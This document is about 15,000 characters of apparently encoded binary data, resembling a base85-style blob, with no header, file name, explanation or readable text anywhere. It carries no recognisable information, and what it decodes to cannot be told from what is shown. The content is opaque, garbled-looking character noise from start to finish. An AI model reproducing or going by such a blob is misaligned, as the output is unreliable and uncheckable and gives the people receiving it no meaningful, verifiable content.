zmiX}oH+o9*s5xMSvCLTX1`{RACxK4NZNI_VTR5s}mec*~b*y8dl zF1R_PcE{N`JQ+O^V?Bh9e|x`vHf2PFCv{;85|M0cC1c$%HzVL@jwK>JvCERKW+EearvWB!Nb=(vGO-oTq2{hUeK^l_gUzK!%%xVg?iBU%o)vfZ%Nwr9Rif(T zQ-(dA_ccvU*h@ljmtJK1IMS`A$-v<7QxM4qd|1btk6&OR!Y4aU?Yy-y_1VhPj5GhFw} z4!(|c-Yg9XHH_6>*kBL~iR71hZI~{vwr;Vwq9Aa{uN%{`nh&jgfttm$a`B^nPslEu zK8qtpvagT5ec{4MKhXumg@;2u@vF8`erFH<Ena(0Q#nkEk-p zeYyO5RGn5G1A^YLP|7UzTbH&c8~p5yKA`{> z>Ip=lu$iB9rIib+>O|GA(7vj0?gv+-4y-HN442Y+M5T#;lPHUd+>HM>iqY`+=jsZ|yDO$#Cs&%gn;+_Ad1#GjDdDKS^v(5P{O^m~oXsip((DezW}RsJAzDUONgi3J=kC==H{1(4L5MaW)H2iP8;rfk?6&3z}0i zOKWK8QCQ?fYh}*dLVMVw2)m3q7X^**->E&76=Ad?$eijj>UL2)XUR}Rk4{Y}k`^AU z4XH7atqFIXIHfDfXWv@Jl*8l=e=e<;;P5%eE^jmvVsA2CCfVA~JiFUZ^Aw%lX}FxJ z{*l%?6qTJQZZdnJZF699!pzS0Kuz@yG}k6*tDb5}uQTs%IfNejs~+!*a0VR)Xgy(S zw5$^__Ydak3m|HSrmn!e+-#h8TyvO9=QJ?V7;a=N@+I|+e3gBmcB~r5t5J!?bDrU* z?S4XTbeMeg0Q&>Lx=fWo0vho4Hv*VnehuZ~0Y)hqKB>>pad_bH!+(tvfl|sParp}e z29Ba0;rVM`!~}+Th`F4U>n1ZK9>HvcWDhS;Q;rDfDd)mTHJR8xnl%kjaM# zA1-k&8HETl@oy`d5QFYPKqP1^s%D+&}C+5 zKt$vTh={0#y(hG(j5*#CIlcz^;7_mdY&utfSZPbVGc#-UM!3U{nm)L4&t7I1h=k$9nV! zckUmWfNfV967Ux^t0JeA*Y-o691zbs->Px8?*KEDck?punOe=uzP9y!!$|v4Sv~n7 zoKWQ~DnReckPMV~0>QtdrLe%(i4jk3ZoPjQ_+q$?$OL9L&kE5Fb*Uc`lQaQCXLB0t z$_+HSG1>ogz_`$-)kYQa=@pk~33zLK; ziGWS5h@#z`T-9n229+-r1K4s3TJvO-c(V*7%4tb{dv<^q5B(0{LHnGOJ0sQVd{&;R zUL30q5}#9JV#8O8i{qC|lLe8S`pcQhomo-1zv9zjzwj@}G@T091gQ(bSe#TJp@&C; zwLnCAeenFjpL$fWQQp;E>?3;WewHNoMb<7bS|&v|w4WA2=)q<-P)@M5ItMyk&TA&t zrFY?8Cz=R+$>FocAfGy|ix1ef*eqUJVo>gT@FgcbsUk(RWGZ@mT6%}}Y4+h>skId# zMm(mCM*w29-O!P396T<#AeE07%Vh@VXzcN{9v%KD@16ggFa0-Y0yK~>j$@8C=QKchT_}nL6sEhLp`X$GDI@V{&mzq|CpP-! zCfHt&DGH#zFsL?$1b@BIYlJw%#uuQ5@Zc4o1xB1rjWSz#gV5#+o0+-JtO|n*HuTM2 zjOgMJa%pQ=1iEzakceU?ct`rqETchAb|DG_Es9WrR(sOz!b4Y`PW7r5mqlJT3T|V|ku`fkvZJLrG z{S8~WbbWrd=r4(5iOY$JBe8Nzr@c@^7spgol-E${vu>r$iWVC8-i^gwK^{U9zB7E1tkjYmt9pE&`$aNdTf($=Lms!?n=zHh|&y7U?h zm3MVcnhSzgmr^ismzX9k*Fo6w8YKA?WAfsdAI~8jiluMgcrGwp2ix^G@me%9L!Ug# za*~i12GMyNysYXn1FO+J4Hy{$3uo$&AoUdFc~4lF3Odmf58K!(6zLfA-}qEVedx+A zzK*+deNIG)ba;*^4iO|GW|G?BFv*2JA=Y^(f+G*lf3DDd2BLt&^f+SlCW*(SuKk~d zcQh#E+^~KJTmWg)A{1(ji;CVmYvJY~q8c@98tTy8AAGesV4u#`D%XzNjuWu*77Mw{ zwM|VaE^jW+nB)$l%TByZHQQFDMf1jK`P9Pv*~8UtsNelDC}qig$U9m7-< z@*~Iofs{18nHMDiLyG-RQ|@jg`%Wm14jRc{crogbp(dx#XD7_{?|-Gt1Dh;4y_>#i zaFyp&gMZ-CNad%%w$Uh;TX0+VY(nS{FXWFJsofDY0WFPW-vMQKX@^IB6W1uv@t`FQ z%i40qo9_V4_XldHNdiOczT|=vB_f=9S=pR?{H6b|rpG_}&;Ow9zcX%QB?QU;4dmV* zT*n_Z{i$UT7{r^?$Xb_D7fXyKVpNG_YgA?Ya`DVfq%^h&|)G z|CIy&wMrh*s6}q>gO+cFX-QVD*4bY5aZWIU=QBgX0q_5OzVLVN z;vYBs>y_d81wmzTLLe+>&eCbqz^+k*f;jczf4<6p*aT&%6~xt|zReaWU37|E?3v5n zA=}_~(fdD?A^KY%0Q*lf_XXXTBu*b6%^7;u(WGB`;Q&|kuj3s2HV1E6s7GWj8A@7Y zDTvn0w_IYfR|CiJh$MSZ#8+`xcLpjCnj!Z8voiyn?pOEF!Vr0JpUElh zK@EYQkjQQ8te0Uc>*&`&o~yi)KutsitpWRx8t!XM)(Ln6mSsxJ_r7X4n=$&3oy4SeJa^gR!KpFaFc{p^RE0v?nyIw$IW2t4Q9h>hnNWWW9-XH*`g~$%ui?w zLVH{$L=@)noQi3=J)}z78Z0_>F1B+DC168))kjo06bbv+Z=wszW)ua$t4iWRNuz}Z zc$zFV!5yxFE};vlOj{wE=Yea$O@rq=IFo){%faCBh^rRNylz4>++(A6*=>}w(Si154Rczqm zb8wgF6NLJ6ac%YDS1D~y3<%EX1@}Zfft(jDQ0Qt4HyeB9*!XTZ?*c?wKnp|}>;jBw z;XjBwV7cUH5NE(83<5hKJ-!@Anlnhjt7NLAZEH}%x08}5C|V)}ci!og^C8c|v3Avy zw%8#sJJrKz2KMx9O=+3Q47&<(q}Aam?Ix)Mr8{AqV6tdG>{GPN&m9aykj`nNQRF>M z+n4O>+p8twjwgYEn$3g{MCeM|D=?uAg^+$%%G9Y|{U6j;V5TPZ$ z^QFAb+Z|InH4{Ei?BKVFHw13-%B&f&L`3R+5X5kINJusKJK?u@Egg0jV94KZ7- znPAr)y+>3sSm|6g_AJVYkJH`XYh=}}$&Er=%ix(q>YlJ{|0(lcC+t4| zZ|7~S^tK=$Q?j$mgZVkGD4R&p}q#5Xp?I;1Gq*#AGO%|A4Bez)d(cGimdwBYQncrTu55y z&%`Ja$gqhHCPr~~E8OwE{0l9f^0HdCH zpJI=P>WO>4(b+6ZZ{~Mm>o+H`TDo1tJB$`ZvoR`RQTrywi`yqK& zIukg|05y!74YfX#o`{%sSJnw7i?f@?19H4g5-%wu1Emv7Ya*c8Q>*o3DAwp*F7`5G zk2&ZYPKSwi4AM3#NrBMXmu*zm6t;>KDbwu5sL3oiMC&R(5IMHXls6+&GBZ+U7ImsP zStM0kk`GvPgCwjUv3Z8T<0>A;>IK!5k1TT4G7XE7rw<|ELA4rrl+?!4ft-Om=~z8O z#-!7w?_Z2QS5)a0mQ@rDiw(Dln&ep3(ModK|9}T+cRnSI=RxpGgw^_p-+ybuljf1~ zu`oh0%ZdtNZNxtg)QPPsdS{_8lZzD>`QYn;wu$cB%vR=k>}aWU-~W%j_l|06UDUn7 zC|D>0f^?KBT}pt^#3j9#gdRYugr=b=O~FDZ2pW1bw2%;b?@BMB_l`j5ARQI-i))>; z_uBiMd(OT4-f{PL$JqSAn1ngsIo~&P&heJ#`8^|W-t1%2?v`18;`AGX(Zkc;AxI1N zp&KFuVqV$4sZsYOKv)4xtDe&(s!HFZABkQb6UhM#I6uF(U$lMU^#7qQPDBm!D8z!( z8v?lWq*oa0(25>>(eE(@nB5Xw5fClox3jyFYAk5TRvO6^yRPJiT`d( z-ntg>EtlqpUDLz<_Vb%@D<&ybn{M#_V^xkH5AJziiw~Hwin+9Qd=B<5PrE)*K6U?} z2YDkQ4TXjqJ}mKot=fwfahv$;Z(SJUKs-DxETqDKAhIa9b#Hz1L=d3;_(LVZe&+s! z?oAyw-CM0H$o+X`SpByBMy7AoEKl-t;roX-w@FVl95W*I122773LG-a`#i#N|M>ui zSG@CS1^Iw=Ir(39yil<74o?Xe7+fTxn3CE05ALu}m$Bs;x?PR%SbIi<$xKfGp+XI; z>6vo>D=q&|24(%1{umqEQ3HdAqx2FAxDW=R82F(o3JRuXn;4a>2|gWrUg-2)*EW45 ztm(V#ol!%nysDI@UD8*T5fM?-5i7Gv1{<@E{Kl?Us@|d0;RgE^5LplUeCFq}!CTkc z*d&D_c%@{rlwBCxCuwMe!on^#f9dY6BicgOub!3!h(}(JkiWnuhVm=2k+b$6G4VyKZ`-ZY(Y=^p<6&Gpe!G z(e|VCcb^$FAE6Sob>Z+abRon8top5a;~1g=sBEe9CBl`8TJvrF%MXlsD6U3Zo4h8v z3RJ0~ktaeA*Y97f(EU)j#Gyk6=}*3cNnI6VP90lIBRQ`BQ0e+E&Bgg~FF8vtwv{*B z!JGRkBJLvWnFg0p3cak^7$AB|(Y~dWYDzrUwu7)x%wODHD{ay_s{RlOWl0{d%W{vl zfGQnEX+4@WA?vx}8{fpz8Y(+^9lscg9}Rlg=Ur#w zFAG&VE|xEl|a3NzD?ET{J4~P)1j%`&%tI9J2L>$0x@aW&N>XgsK(` zTJSfS>eI>ZrZ2HAuVw>6A%Wg}p{$f~!ouNwS}0I=qp0;oDhY=I_e~qDd*B|yW47o! z$15+4yheo*C^MRo=5Zi{ZP>Yk4RmMm{RV!ZUi)3Sz&{wK-UmKKy!gth>j{ItZ}nSTev89}_6>z`@16er(}M%7s2tGPj974&)bC zzleb66yo6cWTxbGo4T1W%m@TbSiX?LIZdV8ZFciwx9Mnrsj9;#nrg38l?MS+oN!J`N>U4FE8}(yrvf}%j3-w5MAaUcN4(>Lh8YP|DuY$V z`!l!+IYc#bLz${UMiXQnmIm(2&=w&F?%jxcj&@9Ft zT-*+%)Kg!c<)Obxm$z9KXz>fdQtYU@U4B*n6H?e@1Zdi-Vr#XtK0($3GhJaR$2ez7Uk zU!Ex$9l4NaF>%G=ij+&Dgctn;l~=0-yMo38*)~7INGW6L{1sN5TgnTr_f#&oRA>D; zEj+b37^_wwfRVbC7axW4HzMryY>A6}8#W|ODqjkZUtH%3vpGzBXB6i2I*m2;{k3vN zZ$%cW9Wt|L*UPbq`AHJkk=EiD(BK`Yr+JoKar*F^ z!f`^|gF!`8yzYQd&*$LDhyPs40p9=l6crx>aBlnJZeC7=RIQV0r5D1gC(o92QOm+` z$3?zLM=6iVV4d&{28co*9s~kO+rfUmjmbev0t)i;I!aHF?CBo4nKIomdeX!CtPW~< zDeGt|@vLF|;RyMEc3|-EGA{G;qy$4m;ngIE+$Q3{+Yf8+0rLcGuQ|BxsR{a)67x+0 zH4`rUyWQiz>#F^8-0AN%(Xc~~W>2BW_Ry1I{p-NBAQDm)uyXAoAU(Hlg3Stw z>!mSiuU26{2{iH=!cSooJT{71q7*AxbwiSC)4r`^Y+VQI`dnh^ZywxXQnED}|M+HL zWNcJDcG!qG`r9024)@l-{n~aUafeAGTwi+Iy@N4aX410G`@)>~=67u=_E_x%WE?z;`y|M^g zDJe zmnBcq(0g=JqKWm-VjSa1BJftvH$^Jxb(wzbqBr6Vv4S-nX zKNh%X#=@z_#W;q-jp3_+7nDdyKRV!3M+Tj)_D;quA=*ovRLc*ox1#bQLg*n-3K$4t zSw&c}dafilAUvYdlp8N>JSS%Hf@i4NQ%<2vyVF;TsyPlDZO$M_n`1kR9kj%Lo^|`$ zyb(l7A0e$CC&*kX{mv3cNZ7ygpIzIpDqQ4>kg0H=7@Kvkgz=1A2_pH+5MGjmKIc@l zyQ%z_`D>qy=7)kK_0i~y#-+Z+21Tpd#=M;8I_770&)L6geg3ePA>^3%h>;PeUG5c= ze1}b+F#U}e4$pI|@!q#iz>#b}c8<@w`~hi75L}4v?%+h_5Y5{4&Hev-OOhG1*=Tfn zyt)h9#m8M3^}(=w3AfLfBE3#BVG|`8`JW``(?!S9CvS0oN@8gLYZAkQON3Dna4jQc zI5I|w1hAA=|C1!_H1wCjL+y;$?=ZbG@|&PY7WNrKXfJBocS) z#q*eOh=}l%?j(;7wXs#D)|mY*0JG`r#hB zi}UJr%e2cEKe-YzteEAA)otMSx1=QNlq!4a7Q;J45Ms~*&RtTGOIsZ7v4`0Hc%Er* zFLahPP1gr@R%dfphti~_hgUfR{A%!tcx#~;QiglIZ=mT!o_A{WBwOE{&*H$34~<3neJC4aNFcm?*D+%kV z;w?hWBXQ?Wjwj1~`Qnxft>eV$SoUQ#C|$-Qrb$@L^%k>ql8}YgOC=84WrAY-Lz>lj^B`eg zp+n^+(Oc|}xXN6VNg>R=AULj6S^*AGNjf>d|$>mCiK|)$Wy#%l4_tU)I$?o!{5( zkf1E%<86KEnk6@SvBerv__p!Q5Z))=lM!|T`8t{-jyWDY%3g>)^XW{s5EWd1CvmF0 zhn+G^<(e5UefVPOBL|qE@wPub#1y@(`xFdSva@AsV*gYr7fGNPf1~nh34G{TYcAuY z5eFnhm8En+eDAP7O}QKXg=*EZ=sleN`6P#UoB;y(~^asG)xjm z0kT+@SKMtV^fKgvc=JV|aa;Sr*pE*dJ~*Do+t$33D5TVQW3mvZMSn?^Vw4{~gCy>JHhX&Q-KD&UfZytv19!gCK%x+maDjbYcdH4^BFM7o(N%oMu8&g~?%KCt1qePIT#H`#IU#A28oYOUn;XtX zF6yK_pydsLf||z$S$%^EfkMKtC9E3V-H#ZjIoBO=x}K@^Da+dz##E=~?w*+d9eVLQ z(C47wfm}X{Q?8>n6K$edbR7b5Ig(CMA{={{H{@)mvD36plA1RGwd_^pRFeci1V&StyC(WRN2pr*p{mFE{eA_7P4^cwv1l4^5TD zHdScXYxbSJds2?3ClL&CW91BrXzF0_<3(sc8gt~ zuPm+{BG$UY8D~-u>l_DEKpRj4zp!^XStTY2pJlyh_szpwg`p;tW?G9S>^R8CxRk1y#pVWCm4k29qiL1NGo~uB!YgVo zZ5btF+}I@b=DRq{7U{by?M#xhd~tP316whVOw)Ana9zF5fngIzhQX4fBZ+6=341Nh zQ^QFENOxGJt>-c6*eVolSGr9l^a_c6tVy975nM5mD;!m)ZBVf@%)%MX_EZ7FiuEot zs&Kz3-Z=fl*v9Nf%3Y&}6*VcmpDIMPnV~BR_9C{md{xOeB&EDqOXdNQo@dk`zleojJlGkRr3M}rT#TJg$Kpk8P z@^h4iZJBytDT=wD4yfGSp@q!?0-PbW36u!ce$_YuAp5w2>!FHOAjwH$w*6kEs+aKnbPxT3eBeLEXEbvXR=dQ|&IHws zRpJouE#osEewE1IzCMC|&PRaQ=w|6+J7Zvz=9SwjfV+RalD}+SIKTO+Zt_eCPjcy> zy8uVnvn0b{+y0=;5QzypT+5V{<1!!Yko3Y zTnUBKQxg;Jqw5X(758!nB1$U8Hv77IDWU`!JDzAu%eO_euDnbSaqKAMc3;9gf}y;s zY*>Hrg!V&B-e$kN!i_M0mWZ$uiC9h=*R@iTnt1*0A%D79;JbzE3X$w>k1lscz8G&A5XS#?5soYqpL{}IIxzUAQz+xKsQS{%w9`|<1Orw zU$N(Lm1zce7hVT${}F3W;KpX~h!Z~A0h+ee7_gM!y!-)wDlG3^&~AtJ8yW447=>%D zSW|M~=^1`xDn@@4$gqC3cm&VMA$ANb)73y|B1~g1Vrm15-2O>I-%1oMNLlwy2x69F zeZ`Q~{t&B1WfLRW9}NS{+OLeXR7$ivG9(<_94UF9pndoa6vT^YC=5Zk5Gga!z{_Kk z@|nJc3a=NLL~nFX{Lq{1la6;hF;13V@}?JxK8jU8&Wdy7F7!V_;g0y`N!KUL1-8fC zFQ@s>d^n$aD;VcsR~N<48l%N)G=zOVl2_3r!>R~`LL(g9qE>Ev+S9hURMhgUcIF-x z+McRFeNdPswaDXDe+rQaJ-*d1WH)Kyawyu9L`~nFbhY;7vl0RR4I6I>0Sl)Gf{c^I zIOs_{l>cO=`J3rqp5y;~fvUlim24DPo$|L^cDDfnj;rv+X|H#}Ti_@Vj9wW4TB z3v8Jqcjvm9^3+X%$s_srt_>A^*$K3ra`>lGLlCnLkBFY@h()@)x@VyPqT$ ze7mImh7hd>MwHs3o(|z_1duEWHA}L?mQvbg%$5b zcNi0`ymKMFiaUe-7CR$R$jyuS%vrI0kgfGaQdB$UG3-suOvKe>Wv$Km-Z<+n7f#bF zpQ|^Y2;C&hREIJz_Qqn4ypJ~EqFV5ZpkdOjK>Yl??@yAUYHF;~{>>F3=hEABj z^1q2^lDM<7Wq0+2g}wK*T)*djqibaZh^D{pT^y?7I%S```rdifGHVl^`8P{4=2Tmh zV&_bh`l59|XRs6V#{;SRQ+=Sc#}rMxHlI9!mxL8>t7%DaqF?$s_^ENafL*2vV$Jit zz(Zt}q1=S1Pxx#?z4euaCzfrYWz?CUp5o%vZKDg7N0ysJy9>!R57cQqd77uQ>)u!_|4z`=nsJhfF0RZjHW1AG&?nx6`G$fFnPLJY=$5i-2_D(oWEixdXnB9FgZJfY*@@}ubsZ83Q z)$tWw1eURFA^A>{f%bI4$kc7`oH;1%j*`MI&1AeryGw3SE8NGbpfJr_%fKk)K6jib zvd0qU>8-&!2z&Bu}#}=Hk%;fgxaki6B`M2sWp5sI*on z$9(wFV%*TR;}|$=1Za#~;gPrth_QYKsqi89n8_O+kyNi|-yU zu~%`-u0-mMksUZr!eLiRdX275x|?^2cq?v1#}40TgFN^~oXRNXiY4Dn_Z+*Anh>=a{nL12ZeykQ*i18_jI1lGr%oNu6jJ8Ms2cF8jAaS!zMq_| znapH9E8=mu?qJuTH35)u9cOBD zgf-_a_R+*W?T-nibBt%#NKPD^d@s@&J)w+z%AAvauGQuBm1N;S(Yp7m8mzznl!jGY?YqNS$LkqZ^_$13wW6juUok6$pG4gjS zY~hZSDJ!gb$@}TFQ>^QuZLThtqql7BC`?3h)t8}H4^`?ci2x9i87F9h+`N?KPZCI3 zfi&phvoRKW1uHrWJslp%#X$_#3co#7<$^3!2Jac6+1&g0i5z^JukUC+`Zys=y}ch8 zluO?IcmqDdWdM;0{VgoM78fgOBY#3O`9mzFjNw|?Lly~lb^QCI=;XS)LnA6TJfh`& zP|8&)CXVHR+WeL>W4u&Mve+4muvX$1p}`t-GP7ogiULsCZFa67tOo3IkGQxuQD)t8$r)apzx{H-aRQF9OJ4{v_GG@|u{V>a>&pv1TvITKD5wV$DVoQL((MXiEYB z(7SGi_Py_JMGw_g#BGc`b=aOD@9|X=A)L9m)C^&-`Py)tEwXNTwWQWB3~sAEqUG$6=?uFovR38W@Y(B9p#JoLI= z3Uge<`^j0P<@szw19+lool{Q#ZTy_+QH#Cp5+7B^f#w-^i3e|rN}-p zAuX_{j*l@^4KWlkut(dPQa?@KE%}` z{DhtB2G9t*qERCgeGuyd_r!FGC`ZQ9o!jwi{C8#Z27!qMMH+%UPJB~yTn5CMD3i(b zXRn-@Zj$wWxz8i_gb@h^eCyz{D)7I@m5e4gCV%bJfOWKdUmbs2QSf~lCFNYTtmaXE zoaE-BRp)mfQ>r3oIlT;i*FyP~H-nWJ4dYldJwBNBvD8eR0V~gS9#RFzv-!0BV=L4rXH-vOq;uc^&U0qGVxavH1_WUX zSFJna0hxVFuOw{}9cfou_xot%WBG0>-Z~MKZoowo=g*IV^Cy1{@40TiB6OP?QKoP- z+s||;NQ{n*nz-jSR1p%^(3b>!+T`nmi77&tSmBNoRwyAw0rDDO2=)Xn<{v<>CR&o| zx6Dt3@@WzZDs^CK^lp94>eTELfqSXeijLv4^_W&M-~5TyBLt(>+El+Grz9n{S0Jx5 zF6*N+|Hk8t$Ji%+cNo&2r5E|fD=&W+MpkVEd3_xgvtzk6(f+VwR_(P$_@dbE(#sIO z2fBwQCH2F&uff&*llw*djs>q?58uC0;;5~v2}(Z^UUIn=5QeLABg(*?J&*l*nKI;T zYTz+fLgcF?n7fnl?ixF-KChM6cCCvkQ&}9;k00oy2|WHua{RS?IOiHi7YzBm+*Yo$ za2w!>%qZ6oTzBf_50<7z+ZL3MOr4Y$8e>o}E4|e&r2|%{`D;6&pZFiPesS#LwZg?Q z2=dJA#O2=jk{pRY8zO>GX9es!{AcZ)b3bVNd$oGSiJd8)#ODm99v&658n^CM*-om_ zfGYS;{}HJkIUm&jSaYeVujl1|+%^a!gg{ic-#bP;MQLl^quDI($8Brne5+(6`1*VLMF|yk9;XFDbEuB2}=_M|YNi6pc zQ{JqV(NO?;D?k{s5vVK3we+h8YCtd@KE73-;An%MtY znv0DPi5DuXhTUxOw` zodP~W0Sg)Q>FQ~;p9r{u0xQkP&TC#wEv%ouoIE^Cd_QO?Fz*vzDvDXVlq`>r)VK9! zj0U=vjDr>WbF0`wOcmq^eFJbvefdW> z>L&?LMs1MGL5O*z^h$sUX}a^RP}<;;-FQhAPa4BK?E6Nmd!6{Xd4)=mnkG z>Xm=QhRw`o5=^Humi!oV(xm0NnwJE;$8p@u;!jA{XXZpiz2!7HxNZb6ccM zOnQ3g)wZ&DiSU(VCdSj^q#;SW*hnAXE^!#3b&I`&)h$A*y|s)vEG&E?j6BUP!LHhP z3O*}B8DR__iyav zkeeLvQAMoB09*+ zL)!qtLH{UGry-L#(Md-6fCdj2bdQ`MtIPqBb`uz06oW<4f3n?rNV%K`^L83`Y++ns3$-vX?^B`)2+id^)XAkbNa7?(kLTt)Me!Yb?7M_uB6 zv|W%9p&>?i-Y|t;llJm5kh*M&4HSZz(Gpo^BqRg2N%yX_dy>&0jExEsL#XQ)IlRkZ zhsyBjp3X}m`k&ATkmpVjf%>}x@@HS%D zd)T@u@&pHpqVR`I-{n4!>Q|J@l)sftT04aJiN#x>goiWUQ?Q}!do3g#aVaK?10BLr zm!fmL?b44c%oqr&P#Tj@7B!$-EDczD`zh7_C%q+&Ga6yavoqMiII->6h(?@_R`BYP z47=YHrKQEbCi7kCafCZ0c_(ND03!QmYDe;}ONvi$Su_mJ8EAC-Vbl_mG zUj5Z+mTqpmVh}x`VC)*^xby~WmM+NCmCcK4HdCcN8?lo7p04}KZ@G#Fw=vd$#lJ{N zCYA4wT^*>^lTw&hJ-c_pm@f<;HVhFrWfIa&az9p&!@$+7x)T5s;@yxcK-N-mx2rhL z6w5;|F}U{$gQ+#>42#?>C9UuiOk7qog9t?~16KS3iWo%HxjxcF`zbC#C{`pkjwRYfL^=&6_brQU=dWL7QP?sZ}(L~Y-OuIZ7=Hi%Sh@_=KKghn4ek+{!JKBSUX)o zFFQdc&FjE~smm1GQ0I#X$Vtexw7oNl=PJy1Ob{~}iS{IpJ%SIzNaV3jGAizR{gcC& zlCLQAwPH*dGSRB146zfvY{m z*QV{dyybqI^m){C!%&UQkw)_0!nKi8lv@{z&ATO6k0dq@i^TTT#zKb56y`$LLj+M>v!!m@gW)`t zpK4HA;Xl@j8rw1xZ`0j)$C8IL|K_Hr*3sbF!~JMQw{06x)}8cDZhU-jaH$4V?WJS8 z2kC;c#$sdZtK4847DY(fX6J)B%ia-xot~O`k;Pcst?U+9acwO<+Mf1N?4J5~N&j-C z=@uG8?iTjBdQ`+Zw=lbz8{1}Y@50N96e}6TRPN}&wy)**!mVt4b34BDt|sIQ7P~&Z z)1{>mW->SXB|!rRw`?R)KREq?X8+9{AB4}Lbz(5}KN zUSnc3fh{sJn56*)6K(I~G?{HaX7m6SMGj=*8phEi%Xs=tG;1`Zb~Yf$t++QY!f?Cl zE+PDO^xcRVDntkq5LM%Va86w|K2k25?xlY4#|!dLzi+NJ($DpOCVNC8_-Dy7-@i+i z3H*Q0^Lw77`zy^lb!7Qcz8~rM|CwMm_dTUnr2KVY#U1i%8J|5%+d0D$EPyX0rXIC^ zO#=BjCKa39%aD_J2nT*ub<8R($cGE~iiG7B+)Oc8#=rP_Pa2)T9!5eQvR!14oJ8eU zA792Fx!9@d=y<8b(xFh8sUMm0JU%X|%$2(?3@gjIem_Y_*pI)qd~sqpry*j`sr>^M zPbDIshy5feCU0nbe8$w)r2Jw6FgGvroZ|C5>fRRVu1D%UvL_yc9LFRlRec<JsA`G2Bla_hHJw-HN;1%`HBbc?5!TD}a9YXRYe zER&3T!a?6=qg~xpD}=)0m5)eo{ptJquQ%EGt4^vyKXEm^!S#4R3Oq~Ze`Rx7lTn2V zwc|d1IW#_)A+AU@xZvB?AA^6qX@ampWa&&@?R1qKB-$>x{X+>5Cgqpq+5og*093yj zbY>n4Rt-*wES8*cZJ{=bD^l(_h=HE2*&P6qjiS&tu<&R}iBu%lOY$DDogbVV& zz1?Gt7`k4Tp*C~MQv|&?E0@*)40&HVA34;Is$ct~!T>$QN)(^?a5iJbMfxXIxqG0h ziF`cC%K7rXbmtSIxa$$MuYB}A>kA9MDZrc_S3oGoSl4mT$-B<^+Z{)xftd<_*^$<< zZC{QRadMRhyy}2FKF{=d=EI`##;`O#Bw4`E=UGYnh_aG+^MBpYfBx@&>i2L7`nJpu zdBzR5zCesJUN=45-+|aJWs80JXm$!e<4Cj0P@Y^n^|h`!s5&K1n%hGIsdEnzCil>~LDFI=Pql!>XOOpm^k zq+Pzr_g%9mP`xK`yUt_ffAvWg{sg(+Z{r`tEK z$Pt7xx zv`!7POb$dPvREot4%6Gm=4NE+Rr7w5P=-~lZW@NZ39C7l52;x%aCJDmb8Ifd!ot{I*$XqH8wrK% zENK_a@CdT8oVF`Z((DYyf*_LfA0bU{uY`MbmMFA@d&yog#KQ?l5pG-6hyC z*M?P)cG`gghx#^>A;Z9({GrViJ!vCd1dqt9Poc zHrdG4Jf7yy_t|~TFnr|>k9@O}_Un_Z|L_TRzR&h=_enb=h$bD~k@{86`hb_uiSNI5 z`PFv+YL|cA41al${$IZt{D>8}_cu?uAN0)eUdo@Jd%uS71U;_jIb<^{H?PggQX%Gc z%`!N8tFce{xnnDQMYh9wepqFT*w(0J-^+=$;wKUloCTK4yu6*j+TRz#bfL+1u0qgwgdPfC#bf=d<(G;5ePtG3n7D)hUN2?4?C>)XR;Cu`cGBih?+wQXLH%EN2y)x zvw8vUV2H8`A<|vx$!Yt2VvsEnPiD?HIuLEHLDTpMS|8VIUBeyO)&s_Mf z+9T9a9NIkvU0R5j4Ot7IEpa7)L@L36%dVa96wJ;uAe89u);^dX_`KDa3c=^Gs}wQV6k>opf{iwNhrR_(1@(y z*Q^lZ(L7K`uH(8+tE%baE929?@#aVH37|L?)*`*vNBxxwfOkg(hxoH%?VzHnAcmf0 z3oig72Y-}UISkw1VUHEL`PzVcA__BVvYTzamZj1pqT`v6@Rq6;(-}jaV-FQGFmcR0x91#|4DJt+dK|u%UU#$#OTu z-tzWDI`@f?2KN*9B~NcmL+6Nvz+r80V@^RH&as*o0bU8DRx|%$K^j2melJ|>%_2Qg zaQ8po#%*yx@ zutIPDUIK{KGUH)M;+jJEPgFu+oVY=Mk~NqM|60}@xc>&t+*FPqP;^_LcO%SQ%j3CunSOrwRu)yw+eqikA{-P)8p3unRp`q=KVH5D^n31f%3Nz}FodI4M zj;+Nt9||80#ON1-Kw^DO8dIWJ=cfD2VW6rb;ckc@4AZQa^sa?|)+) zKI87ISzS+`3Wm={5|tE^Zm~U-u3>Yn#z?{7@BIpjS{C?)89R|4tN9;4c2R1X=gYFV zA1XPMkv|l7QL@x?#J?WQb^Rn^dpgKQzRPC(lY~?8*yD7w>F(OSXB$;tsr{wTyyp|W zIO@GE&O#efe#q|j{`+D0UxyL??XcUsjz38dbq7?hP7v4^Z%@izbU?p`-v8bKY3lT! zY+5QjYsoxc!ptu#Y|ZbDKYuvzd~eiapZ#Cw`d1tN|N7nt_n*ACRQQeSkDC`#clSld z?4jBp_jUDbyu$qX`MmNUk4IFu!n^zR4LbI55_mhe7u}jNZ0k}M%N42fqc!FYbeEdf zA4eD)4gEH;q{jz2%7-&7xr1yEpSdd3D>TAJybT8KGsL-VotlyvF<&~oph4^_{jbNV z-mnT%QR+bZ--;g6JT8^oSgq~MKq{4S(cqhG7~!pC7e^Lsw6vpLkiMMW`eG~qK3ffz z6t0_DiJPb&;0uCk8yDsQ8>G$Of+G17iQaQ!JbhU#Yih#S#cB?HD)JFP@DV8$y8>a; z=$CB?rZwGT!$;itv0^4GHTrUGx(qU$YYEm_2@{MJX;i*oNsT7|qqtZ3Np!5MARNpa zvK(Z&aIRz&d_=Mks3gOoPlHH`D+9Z`q^ziM=574xm`MI5|G9QWX<0=*Ww-$9TXVu6 zWf9ND)gocFvppwZt()D@5Ty0jvb-gj+;m}3*Mt@CKa~{qzBe4<6){#KTVoj(cF970 zynyv^sdsxdhqP>9ro<8j#*GH`OMGNf?!Q_Zh&j5Sf z{Ovy#95LKJNy`)9%vDnnv0RJty?*77rXbe(f=C`h5awxtbDgfC-Dn8=QwypMNlALn z=FosJMcgD)lAi9#kejGrE8=;GtxW62fxa@_!kYgqeUgTuy8tdKc}$u@d6((SaBvER zlEX)$Ol!$*s#ML*O^p*{oikiaQ7QRL*h%t_0K%;z$mGMwSUbsbbAkfa%lSFp9hbef z+j06X-Y7j^mcVna>3jC{@X3?fZ=rnR>y+0#$q&x%m2E^x(B`(S-NI!dONVtw{MqLo zEgLmlF*Ly6#EVYW*e>HN5tzYL4KzS6`HsMzc3t?OKKSv`@NlDy;{lN_sRAGf=Wo5c z(#3RBSSQp-i%Ob|>$j=oFxKrAm-t5~k(_zbM<&md?48ae#GHg{z>DEQ26l;3)UVs* zZ^%UTu*vpt%^=?C6s&Rr=`xgLXOXVM3@vw4$AcYb_^5a7t`{J3UtQLC7M4GqL%*eU zPS`^q>f)7PmE>iq6{<7O8^pIMOy98IGoSK3^-^nX^+RzA7lykBJ%Zhl3OdKS$yz2E 